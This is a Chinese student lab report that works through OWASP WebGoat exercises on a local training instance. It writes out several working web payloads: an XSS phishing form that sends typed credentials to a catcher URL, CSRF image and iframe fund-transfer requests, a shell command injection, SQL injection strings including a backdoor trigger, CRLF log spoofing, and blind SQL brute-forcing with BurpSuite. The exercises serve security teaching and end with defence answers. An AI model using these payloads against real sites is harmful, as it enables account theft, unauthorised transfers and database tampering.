20155232《网络对抗》Exp9 Web安全基础

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验过程

WebGoat

Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;

OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件。

  • WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:
java -jar webgoat-container-7.0.1-war-exec.jar

运行WebGoat:

  • WebGoat使用8080端口,所以在浏览器上访问

注意W G大写。

localhost:8080/WebGoat

进入WebGoat之后,可以看到有很多题目来让我们进行练习:

Cross-Site Scripting练习

Phishing with XSS

这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点

创建一个form,让受害人在创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

  • 攻击成功~~~。。。。。:

Stored XSS Attacks

  • 储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容

  • 在title里随便输入某些内容

  • 然后在message中输入一串代码,比如:

<script>alert(" you have been attacked by lsq !!");</script>

  • 当用户在论坛中点击刚刚创建的帖子后:

  • 成功进行了攻击:

Reflected XSS Attacks

  • 存储型XSS与反射型XSS有什么区别?

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

  • 这里练习的具体解释:

在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。

  • 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:

  • 这时如果我们将带有攻击性的URL作为输入源,例如依旧输入

<script>alert(" you have been attacked by lsq !!!");</script>

,就会弹出对话框:

Cross Site Request Forgery(CSRF)

这里练习的目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。

  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

  • 我们在message框中输入这样一串代码

<img src='attack?Screen=277&menu=900&transferFunds=5000' width='1' height='1'>

注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。

  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查

  • 查看页面右边Parameters中的src和menu值。

  • 在message中添加代码:



<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 提交后生成一个链接,点击:

或者!

  • 在浏览器中手动输入URL
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5000

进入确认转账请求页面:

  • 点击CONFIRM按钮之后,再在浏览器中输入URL:
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM

成功转走了5000元:

Injection Flaws练习

SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。

对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。

Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上
"& netstat -an & ipconfig"

  • 之后在下拉菜单中能看到我们修改后的值:

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

  • 题目要求:

    下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。

    现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。

  • 加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

  • 选中Columbia,点Go,出现:

Log Spoofing

  • 我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入
lsq%0d%0aLogin Succeeded for username: admin

其中%0d是回车,%0a是换行符:

  • 如图所示,攻击成功:

String SQL Injection

  • 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
' or 1=1 --

第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。

  • 点Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)

  • 以用户larry登录,在密码栏中输入
' or 1=1 --

进行SQL注入,但是登录失败:

  • 查看网页代码后发现这里设定的长度不够。然后进行修改:

  • 成功哈:

SQL Injection(Stage 3:Numeric SQL Injection)

  • 跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

  • 使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为

101 or 1=1 order by salary desc --

这里desc是指工资按降序排序,这样老板的信息就会被排到第一个。

  • 之后就可以查看到老板的信息:

Database Backdoors

  • 先输一个101,得到了该用户的信息:

  • 输入注入语句:
101; update employee set salary=90000

成功把该用户的工资涨到了90000:

  • 然后使用语句
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155232@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效,我们可以先输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin数值是否大于10000

  • 后来确定在2000到2500之间,然后打开BurpSuite。

  • 设置:

  • 启动BurpSuite

  • 设置代理“Proxy”的“Options”选项

    默认是8080端口被占用时需要添加一个新的端口5232,点击add

  • 添加后勾选,如图所示

  • 设置浏览器的代理

  • 打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings

当于将burpsuite当成中间服务器,每个数据包都流过它。设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:

  • 在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)



  • 在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1

  • 在Options中,选择Start attack开始攻击

在这里找到数据包大小变化的位置2364,用2364试一下:

在关闭了burpsuite之后,把浏览器的代理调回不使用代理,否则浏览器上不了网

实验后回答问题

(1)SQL注入攻击原理,如何防御

SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、使用SQL Server数据库自带的安全参数。

5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。

6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。

(2)XSS攻击的原理,如何防御

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器

执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列

表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。

1、在表单提交或者url参数传递前,对需要的参数进行过滤。

2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出

(3)CSRF攻击原理,如何防御

跨站请求伪造,盗用身份发送恶意请求。

1、验证 HTTP Referer 字段

2、在请求地址中添加 token 并验证

3、在 HTTP 头中自定义属性并验证

实验总结与体会

这次实验很有意思,题目中会结合一些实际的例子,进行攻击。也学习到了很多攻击类型,更加深入的了解很多。在使用BurpSuite捕获包进行源码修改的方法时,遇到了很多问题,这个软件都是英文版本,所以用起来真的很费劲,看了很多学长学姐的博客,才慢慢拼凑起来,慢慢学会使用。另一种方法直接使用Firebug修改网页源码,要更容易一些,但是可用范围就要小了一些了。

#20155232《网络对抗》Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...

  5. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  6. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  7. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

随机推荐

  1. Tracing 在PeopleSoft 程序中怎么开启

    本文介绍一些常用的跟踪方法在Applications,Application Engine,PeopleSoft,Integration Broker,Cobol中. 1.Application En ...

  2. 一文读懂商业智能(BI):企业数据分析的中枢

    商业智能(BI)大家可能早已耳熟能详.从早期的报表自动化,到现在的复杂灵活分析,多平台支持,优秀的人机互动,多数据抽取,大数据整合,甚至和当下最火的人工智能都有结合点.可能一提到BI,大家都会自然而然 ...

  3. vm virtualBox下 centos7 Linux系统 与本地 window 系统 网络连接 配置

    由于要模拟生产环境开发,所以要在自己的电脑上安装虚拟机,这里做一下记录. centos与本机网络连接 1. 环境 虚拟机 VirtualBox-5.2.0-118431-Win Linux镜像 Cen ...

  4. 白盒测试实践-day....

    时间:2017.12.22 地点:软件学院 参与人员:张双双.张玉.周静.赵天宇 会议内容:对代码测试的内容进行总结,总结任务由赵天宇完成,其余同学提出自己的看法和意见. 总结内容分为了五个阶段,不同 ...

  5. Debian 常用命令

    换源 用中科大的比较快 deb http://mirrors.ustc.edu.cn/debian jessie main contrib non-free deb-src http://mirror ...

  6. 2.Hibernate的主配置文件hibernate.cfg.xml

    1.配置 Hibernate 需要事先知道在哪里找到映射信息,这些映射信息定义了 Java 类怎样关联到数据库表.Hibernate 也需要一套相关数据库和其它相关参数的配置设置.所有这些信息通常是作 ...

  7. git命令:全局设置用户名邮箱配置

    1.查看git配置信息 git config --list 2.查看git用户名 git config user.name 3.查看邮箱配置 git config user.email 4.全局配置用 ...

  8. kettle数据同步

    通过kettle实现两张表的数据同步,具体设计如下:

  9. Linux 下Shell的学习3-service编程

    1. vim /etc/init.d/nginx 2. chmod 755 /etc/init.d/nginx 3. service nginx status #!/bin/bash # nginx ...

  10. win10桌面显示我的电脑设置

      首先,我们可以看到桌面上面没有我的电脑.   我们在桌面空白处点击右键,选择“个性化”.   然后选择“更改桌面图标”,如图示.   在如图示位置,将“计算机”勾选,然后点击“应用”--" ...